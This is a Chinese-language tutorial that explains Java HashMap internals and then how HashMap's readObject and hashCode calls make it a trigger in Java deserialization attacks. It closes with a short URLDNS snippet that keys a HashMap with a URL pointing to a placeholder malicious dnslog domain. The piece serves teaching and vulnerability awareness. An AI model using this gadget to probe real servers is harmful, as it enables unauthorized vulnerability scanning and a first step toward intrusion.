一、HashMap
HashMap 是一种高效存储键值对的数据结构,可以理解为“智能字典”,它的核心设计目标是快速存取数据。下面用通俗易懂的方式讲解它的原理和特点:
1.1 底层结构:数组 + 链表/红黑树
数组(货架)
HashMap 内部有一个数组,每个位置称为“桶”(Bucket),就像仓库里的一排货架。默认有 16 个货架(数组长度),每个货架可以存放多个“包裹”(键值对)。
链表/红黑树(篮子)
如果多个包裹被分配到同一个货架上(哈希冲突),它们会以链表的形式挂在这个货架上。当链表太长(超过 8 个包裹)时,链表会变成红黑树(一种平衡二叉树),这样查找更快。
1.2 存数据的过程:三步到位
- 1)计算哈希值(包裹编号)
根据键(Key)的 hashCode() 生成一个编号,比如键是 “apple”,计算后得到一个数字。这一步决定了包裹放在哪个货架上。
- 2)定位货架(找位置)
用哈希值对数组长度取模(或位运算),比如 hash & (n-1),确定具体货架位置。例如,哈希值是 28,数组长度是 16,则放在 28%16=12 号货架。
- 3)解决冲突(挂篮子)
如果货架是空的,直接放包裹。如果货架已有包裹,挂到链表末尾;链表太长则转红黑树。
1.3 取数据的过程:反向操作
- 再次计算哈希值
根据 Key 的哈希值找到货架位置。
- 遍历链表或树
在对应的货架上,逐个比对 Key(用 equals() 方法),找到匹配的包裹。
1.4 关键设计:如何保证高效?
- 哈希函数优化
哈希算法会将 Key 的高低位混合计算,减少冲突(比如 Java 8 的扰动函数)。
- 动态扩容(仓库扩建)
默认负载因子是 0.75,比如数组长度 16,当存了 12 个包裹时就触发扩容。扩容会新建一个更大的数组(翻倍),并重新分配所有包裹,这一步较耗时。
- 红黑树的引入
链表查询慢(O(n)),红黑树查询快(O(log n)),解决极端情况下的性能问题。
1.5 HashMap 的特点
快:理想情况下存取都是 O(1) 时间复杂度。
不保证顺序:数据存放位置由哈希值决定,遍历时无序。
线程不安全:多线程同时修改可能导致数据错乱,需用 ConcurrentHashMap。
允许空键值:可以存储 null 作为 Key 或 Value。
通过这些设计,HashMap 在大多数场景下能实现快速存取,但需注意哈希函数的质量和负载因子的设置,避免频繁扩容影响性能。
二、HashMap与反序列化
HashMap与反序列化的关系可以用“运输快递”来通俗理解。以下是具体解释:
2.1 HashMap的本质与打包
过程
HashMap本身是一个存储键值对的容器(类似快递包裹里的物品)。当需要将HashMap对象通过网络传输或保存到文件时,需要将其序列化(即“打包”成二进制字节流)。
序列化条件:HashMap类实现了Serializable接口,因此可以直接通过ObjectOutputStream等工具进行序列化,无需额外操作。
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
序列化内容:默认会保存HashMap中的所有非transient字段(如键值对、容量等)。
2.2 反序列化中的拆包裹
风险
当接收方收到序列化的HashMap数据后,会通过ObjectInputStream
进行反序列化(即“拆包裹”还原对象)。这一过程可能引发安全隐患:
- 自动触发键的哈希计算:
HashMap在反序列化时会调用键(Key)的hashCode()方法,重新计算哈希值以恢复数据结构。
危险点:如果键是恶意构造的对象(如包含触发DNS请求的URL对象),反序列化时会自动执行hashCode()中的危险逻辑。
- 漏洞利用场景:
例如,攻击者可以构造一个以URL对象为键的HashMap,序列化后发送给目标服务器。当服务器反序列化时,会触发URL的hashCode(),导致DNS查询或更严重的远程代码执行。
2.3 通俗类比
- 正常场景:
你寄送一个装着普通物品(如书本)的包裹(HashMap)。接收方拆开后,物品完好无损。
→ 对应:序列化传输普通HashMap,反序列化后正常使用。
- 危险场景:
你寄送一个包裹,里面装了触发式炸弹(恶意键对象)。接收方一拆包裹,炸弹自动爆炸(执行恶意代码)。
→ 对应:反序列化恶意HashMap时触发漏洞。
总结
HashMap的序列化功能使其便于传输和存储,但反序列化时的自动行为(如调用hashCode()
)可能成为安全隐患。理解这种机制有助于避免“拆包裹炸弹”式攻击。
三、HashMap与反序列化漏洞
Java 反序列化漏洞中,HashMap 是一个常见的“触发点”,它与漏洞的联系主要体现在反序列化过程中通过 HashMap 的重写方法间接执行恶意代码。以下是通俗的解释:
3.1 基础背景:HashMap 在反序列化中的作用
HashMap 的反序列化流程:
HashMap
重写了 readObject()
方法,在反序列化时会调用该方法。该方法会依次执行以下操作:
- 读取键值对数据;
- 计算每个键的哈希值(调用
hash()
方法); - 将键值对存入哈希表。
3.2 漏洞触发点:为什么是 HashMap?
3.2.1 关键调用链
HashMap.readObject() → hash() → 键对象的 hashCode()
在计算键的哈希值时,hash()
方法会调用键对象的 hashCode()
。如果攻击者控制键对象,并让该对象的 hashCode()
方法执行危险操作(如 DNS 查询、远程代码执行),就会触发漏洞。
3.2.2 举例:URLDNS 链
- 构造恶意键对象:用
URL
类作为键。 - 触发 DNS 请求:
URL
的hashCode()
方法会解析 URL 的主机名,触发 DNS 查询。 - 漏洞验证:攻击者生成一个包含恶意 URL 的
HashMap
序列化数据,当目标反序列化时,会发起 DNS 请求,证明漏洞存在。
// 示例:构造触发 DNS 的 HashMap
HashMap<URL, String> map = new HashMap<>();
URL url = new URL("http://恶意域名.dnslog.cn");
map.put(url, "test");